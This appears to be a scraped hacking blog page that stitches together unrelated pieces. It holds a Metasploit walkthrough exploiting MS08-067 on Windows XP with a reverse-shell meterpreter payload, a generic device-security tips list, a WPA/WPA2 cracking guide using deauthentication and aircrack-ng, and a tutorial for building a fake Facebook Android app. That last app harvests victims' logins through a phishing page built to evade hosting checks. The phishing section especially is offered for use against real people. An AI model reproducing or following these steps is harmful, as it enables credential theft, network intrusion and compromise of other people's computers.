[METASPLOIT TUTORIAL] Hacking Windows XP Using IP Address

Do you think it is possible to hack some one computer with just an ip address?! The answer is yes, if you are using unpatched(vulnerable) OS.  If you don’t believe me, then read the full article.

In this article i am going to demonstrate how to hack a remote computer by exploiting the  parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service(CVE-2008-4250). Before we jump into the actual exploitation process, let me givemore details about this Server Service Vulnerability.

Details about Server Service Vulnerability(MS08-067):
Microsoft Windows Server service provides support for sharing resources such as files and print services over the network.

The Server service is vulnerable to a remote code-execution vulnerability. The vulnerability is caused due to an error in netapi32.dll when processing directory traversal character sequences in path names. This can be exploited to corrupt stack memory by e.g. sending RPC requests containing specially crafted path names to the Server Service component. The ‘NetprPathCanonicalize()’ function in the ‘netapi32.dll’ file is affected.

A malicious request to vulnerable system results in complete compromise of vulnerable computers.
This vulnerability affects Windows XP, Windows 2000, Windows Server 2003, Windows Vista, and Windows Server 2008. But Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.

Exploiting the MS08-067 using Metasploit:

Requirements:

• VirtualBox - How to Setup VirtualBox.
• Kali Linux - How to Install Kali Linux 
• Target OS(XP)

Step 1:

Create Two Virtual Machine(VM) namely “TARGET” and “KALI″.  Installthe XP inside Target VM and Kali Linux inside KALI. Start the Two VMs.

If you don’t know how to create virtual machines , then please read this VirtualBox Manual.

Step 2: Find the IP address of Target

Open The command prompt in the Target machine(XP). Type “ipconfig” to find the IP address of the Target system.

Hackers use different method for finding the ip address of victim.  For Eg., By sending link that will get the ip  details or use Angry IPScanner.

 Find the ip address of a facebook user

Step 3: Information Gathering

Now let us collect some information about the Target machine.  For this purpose , we are going to use the nmap tool.

Open The Terminal in the KALI machine(Kali Linux) and type “nmap -O 192.168.56.12“.  Here 192.168.56.12 is IP address of Target machine. If you look at the result, you can find the list of open ports and OS version.

Step 4: Metasploit

Introduction to using Metasploit in Kali Linux

Now open the Terminal in the KALI machine(Kali Linux) and Type “msfconsole“.

The msfconsole is the most popular interface to the Metasploit Framework. It provides an “all-in-one” centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework.

Let us use the Search command to find the exploit modules with the keyword netapi. Type “search netapi”.  Now you can see the list of modules match with the netapi.

We are going to exploit MS08-067 , so type “use exploit/windows/smb/ms08_067_netapi“.

Step 5: Set Payload

As usual, let use the Reverse Tcp Payload for this exploit also. Type “set payload windows/meterpreter/reverse_tcp” in the msfconsole.

Step 6: Options

Type “set LHOST 192.168.56.10“.  Here 192.168.56.10 is IP address of KALI machine.  You can find the ip address by typing ‘ifconfig’ command in the Terminal.

Type “set RHOST 192.168.56.12“.  Here 192.168.56.12 is IP address of Target machine.

Step 7: Exploiting

Ok, it is time to exploit the vulnerability, type “exploit” in the console. If the exploit is successful, you can see the following result.

Now we can control the remote computer using the meterpreter. For example, typing “screenshot” will grab the screenshot of the victim system.

Tips for Securing Your New Computer or Device

By using caution and following these tips, you can help secure your new computer or device, and protect your information. Have a safe, secure and joyous holiday season!

Configure your device with security in mind.

The "out-of-the-box" configurations of many devices and system components are default settings often geared more toward ease-of-use and extra features rather than securing your device to protect your information. Enable security settings, paying particular attention to those that control information sharing.

Turn on your firewall.

Firewalls provide an essential function of protecting your computer or device from potentially malicious actors. Without a firewall, you might be exposing your personal information to any computer on the Internet.

Enable encryption.

Encryption makes it hard for attackers who have gained access to your device to obtain access to your information. It's a powerful tool that you should consider implementing.

Lock the device.

Locking your device with a strong PIN/password makes unauthorized access to your information more difficult. Additionally, make sure that your device automatically locks after five minutes of inactivity. This way, if you misplace your device, you minimize the opportunity for someone to access your personal information.

Regularly apply updates.

Manufacturers and application developers update their code to fix weaknesses and push out the updates and patches. Enable settings to automatically apply these patches to ensure that you're fixing the identified weaknesses in the applications, especially your operating system, web browser and associated third party apps.

Install antivirus software.

Install antivirus software if it is available for your device to protect from known viruses. Additionally, enable automatic updating of the antivirus software to incorporate the most recently identified threats.

Be careful downloading apps.

When downloading a new app to your device, you are potentially providing that app with a lot of information about you, some of which you may not want to share. Be proactive and make sure that you read the privacy statement, review permissions, check the app reviews and look online to see if any security company has identified the app as malicious. A good way to prevent accidental downloading of malware is to use a trusted store instead of third party stores. Google Play Store and Apple's App Store proactively remove known malicious apps to protect users.

Disable unwanted services/calling.

Capabilities such as Bluetooth, network connections and Near Field Communications provide ease and convenience in using your smartphone. They can also provide an easy way for a nearby, unauthorized user to gain access to your data. Turn these features off when they are not needed.

Set up a non-privileged account for general web use.

Privileged (such as Administrator or Root) accounts allow users to make changes and access processes and functions that are not needed on a daily basis. A compromised administrative account provides attackers with the authority to access anything on your computer or possibly even your network. Setting up a non-privileged account for use in browsing websites and checking emails provides one more layer of defense.

How To Hack Wi-Fi WPA/WPA2 With Kali Linux

 Kali Linux can be used for many things, but it probably is best known for its ability to penetration test, or “hack,” WPA and WPA2 networks. There are hundreds of Windowsapplications that claim they can hack WPA; don’t get them! They’re just scams, used by professional hackers, to lure newbie or want-to-be hackers into getting hacked themselves. There is only one way that hackers get into your network, and that is with a Linux-based OS, a wireless card capable of monitor mode, and aircrack-ng or similar. Also note that, even with these tools, Wi-Fi cracking is not for beginners. Playing with it requires basic knowledge of how WPA authentication works, and moderate familiarity with Kali Linux and its tools, so any hacker who gains access to your network probably is no beginner!

These are things that you’ll need:

• A successful install of Kali Linux (which you probably already have done). If not, follow my previous tutorial here: An Introduction To Hacker’s OS: Kali Linux And Setup Tutorial.
• A wireless adapter capable of injection/monitor mode, here is a list of the best:Click Here
• A wordlist to try and “crack” the handshake password once it has been captured
• Time and patients

If you have these then roll up your sleeves and let’s see how secure your network is!

    Important notice: Hacking into anyone’s Wi-Fi without permission is considered an illegal act or crime in most countries. We are performing this tutorial for the sake of penetration testing, hacking to become more secure, and are using our own test network and router.

Step One:

Start Kali Linux and login, preferably as root.

Step Two:

Plugin your injection-capable wireless adapter, (Unless your computer card supports it). If you’re using Kali in VMware, then you might have to connect the card via the icon in the device menu.

Step Three:

Disconnect from all wireless networks, open a Terminal, and type airmon-ng

This will list all of the wireless cards that support monitor (not injection) mode. If no cards are listed, try disconnecting and reconnecting the card and check that it supports monitor mode. You can check if the card supports monitor mode by typing ifconfig in another terminal, if the card is listed in ifconfig, but doesn’t show up in airmon-ng, then the card doesn’t support it.

You can see here that my card supports monitor mode and that it’s listed as wlan0.

Step Four:

Type airmon-ng start followed by the interface of your wireless card. mine is wlan0, so my command would be: airmon-ng start wlan0

The “(monitor mode enabled)” message means that the card has successfully been put into monitor mode. Note the name of the new monitor interface, mine is mon0.

Step Five:

Type airodump-ng followed by the name of the new monitor interface, which is probablymon0.

Step Six:

Airodump will now list all of the wireless networks in your area, and lots of useful information about them. Locate your network or the network that you have permission to penetration test. 

Once you’ve spotted your network on the ever-populating list, hit Ctrl + Con your keyboard to stop the process. Note the channel of your target network.

Step Seven:

Copy the BSSID of the target network

Now type this command: 

airodump-ng –c [channel] –bssid [bssid] –w /root/Desktop/ [monitor interface]

Replace [channel] with the channel of your target network. Paste the network BSSID where [bssid] is, and replace [monitor interface] with the name of your monitor-enabled interface, (mon0).

A complete command should look like this: 

airodump-ng -c 10 --bssid 00:14:BF:E0:E8:D5 -w /root/Desktop/ mon0

Now press enter.

Step Eight:

Airodump with now monitor only the target network, allowing us to capture more specific information about it. What we’re really doing now is waiting for a device to connect or reconnect to the network, forcing the router to send out the four-way handshake that we need to capture in order to crack the password.

Also, four files should show up on your desktop, this is where the handshake will be saved when captured, so don’t delete them!

But we’re not really going to wait for a device to connect, no, that’s not what impatient hackers do. We’re actually going to use another cool-tool that belongs to the aircrack suite called aireplay-ng, to speed up the process. Instead of waiting for a device to connect, hackers use this tool to force a device to reconnect by sending deauthentication (deauth) packets to the device, making it think that it has to reconnect with the router.

Of course, in order for this tool to work, there has to be someone else connected to the network first, so watch the airodump-ng and wait for a client to show up. It might take a long time, or it might only take a second before the first one shows. If none show up after a lengthy wait, then the network might be empty right now, or you’re to far away from the network.

You can see in this picture, that a client has appeared on our network, allowing us to start the next step.

Step Nine:

Leave airodump-ng running and open a second terminal. In this terminal, type this command:

aireplay-ng –0 2 –a [router bssid] –c [client bssid] mon0

The –0 is a short cut for the deauth mode and the 2 is the number of deauth packets to send.

-a indicates the access point (router)’s bssid, replace [router bssid] with the BSSID of the target network, which in my case, is 00:14:BF:E0:E8:D5.

-c indicates the clients BSSID, noted in the previous picture. Replace the [client bssid] with the BSSID of the connected client, this will be listed under “STATION.”

And of course, mon0 merely means the monitor interface, change it if yours is different.

My complete command looks like this:

aireplay-ng –0 2 –a 00:14:BF:E0:E8:D5 –c 4C:EB:42:59:DE:31 mon0

Step Ten:

Upon hitting Enter, you’ll see aireplay-ng send the packets, and within moments, you should see this message appear on the airodump-ng screen!

This means that the handshake has been captured, the password is in the hacker’s hands, in some form or another. You can close the aireplay-ng terminal and hit Ctrl + C on the airodump-ng terminal to stop monitoring the network, but don’t close it yet just in case you need some of the information later.

Step 11:

This concludes the external part of this tutorial. From now on, the process is entirely between your computer, and those four files on your Desktop. Actually, the .cap one, that is important. Open a new Terminal, and type in this command:

aircrack-ng -a2 -b [router bssid] -w [path to wordlist] /root/Desktop/*.cap

-a is the method aircrack will use to crack the handshake, 2=WPA method.

-b stands for bssid, replace [router bssid] with the BSSID of the target router, mine is 00:14:BF:E0:E8:D5.

-w stands for wordlist, replace [path to wordlist] with the path to a wordlist that you have downloaded. I have a wordlist called “wpa.txt” in the root folder.

/root/Desktop/*.cap is the path to the .cap file containing the password, the * means wild card in Linux, and since I’m assuming that there are no other .cap files on your Desktop, this should work fine the way it is.

My complete command looks like this:

aircrack-ng –a2 –b 00:14:BF:E0:E8:D5 –w /root/wpa.txt  /root/Desktop/*.cap

Now press enter.

Step 12:

Aircrack-ng will now launch into the process of cracking the password. However, it will only crack it if the password happens to be in the wordlist that you’ve selected. Sometimes, it’s not. If this is the case, then you can congratulate the owner on being “Impenetrable,” of course, only after you’ve tried every wordlist that a hacker might use or make!

Cracking the password might take a long time depending on the size of the wordlist. Mine went very quickly.

If the phrase is in the wordlist, then aircrack-ng will show it too you like this:

The passphrase to our test-network was “notsecure,” and you can see here that aircrack found it.

If you find the password without a decent struggle, then change your password, if it’s your network. If you’re penetration testing for someone, then tell them to change their password as soon as possible.

How To Create Facebook Phishing Android Application (No Coding Needed)

In this tutorial i'm going to explain how to make an android application with facebook phishing method, so you can get the username and password of each person who login to facebook using this app. 

Note: This post is updated with new undetectable phishing files

This app is actually looks like real facebook app with real facebook icon so victim can't find out whether it's a fake facebook application or not.

Sending fake page's url to victim is not possible now a days ,that method is easily detectable in firefox and google chrome browsers that's why i'm tested this new method to phishing facebook amd it works good.

Read my previous tutorial to create latest undetectable facebook phishing page: Create Undetectable Facebook Phishing Site - Advanced

If you want to know more about phishing attacks then you should read this article from our sister website: What Is Phishing Scams Or Attacks And How to Prevent It

Let's start,

steps

1. Make a phishing facebook login page as android browser and host to web
2. Make an android application using online app creator 

step 1: Make a phishing facebook login page as android browser and host to web (Undetectable)

First you need to download 'facebookmobile(2).zip' attachment file - Click here to download or Alternate download

It contains 6 phishing page files including a folder.

• login_files (folder)
• data.php
• follow.jpg
• index.php
• login.jpg
• users.txt

Features:

>> It is undetectable ,so the page will not be suspended by any free web hosting site.

>> Customized facebook phishing page files for mobile browser
 (It will automatically redirect to real facebook page with notification of  'Your password was incorrect' while log in from fake phishing page so victim will think he entered wrong password and he won't have any doubt about is it fake or real?). 

Now you have to upload the ZIP file (facebookmobile(2).zip) to web hosting site and get the phishing page's url.

I prefer 000.webhost.com.

Go to: https://members.000webhost.com/signup  and fill out the information needed and click on Create My Account.

Open your email and verify the account you will see the active domain in your account ,then  click on Go to CPanel (highlighted in below screen shot).

Now open the first file manager icon under File managers section.

Go to “public_html” folder and delete the 2 files inside it. then click on “upload“.

Below “Archives” section click on “Choose file“.

Select the zip file Which you have created above (In our case it is 'facebookmobile(2).zip').

Click on the “green tick“.

Done!!!, Now what will happen,when your hosting privder will test your content they will get a innocent php file reading another file.and when they try will to access "login.jpg" file they will get an invalid/corrupted image.

Now Access your URL with this id at end (/?id=facebookmobile)

Example: "www.yourdomain.sub.com/?id=facebookmobile/"

Congrats! Now you have your Phishing page URL same as above (note the Url we need it in next step).

Step 2: Make an android application using online app creator
Go to  www.appsgeyser.com

Click on CREATE NOW Button

Click the option website

Paste the phishing page's url in the field (that you created in step1)

Example: "www.yourdomain.sub.com/?id=facebookmobile/"

Fill the field App name: Facebook or something related with facebook, click next

Description: give description about app, click next

Icon: custom icon > upload file - choose file 'FacebookICON.png' (Click here to download FacebookICON.png) - submit

Click Next

Click Create app

You are done,

Download app to your computer after install it on your android device.

When victim enter the email and and password in this app it will be stored in our 'users.txt' file inside 000webhost > file manager > public_html, to see that click the view button next to users.txt file.

Inside users.txt file you can see the victim's email and password (highlighted part in below screen shot).

If you have any doubt in this tutorial just comment here. 

New post: Create Undetectable Facebook Phishing Site - Advanced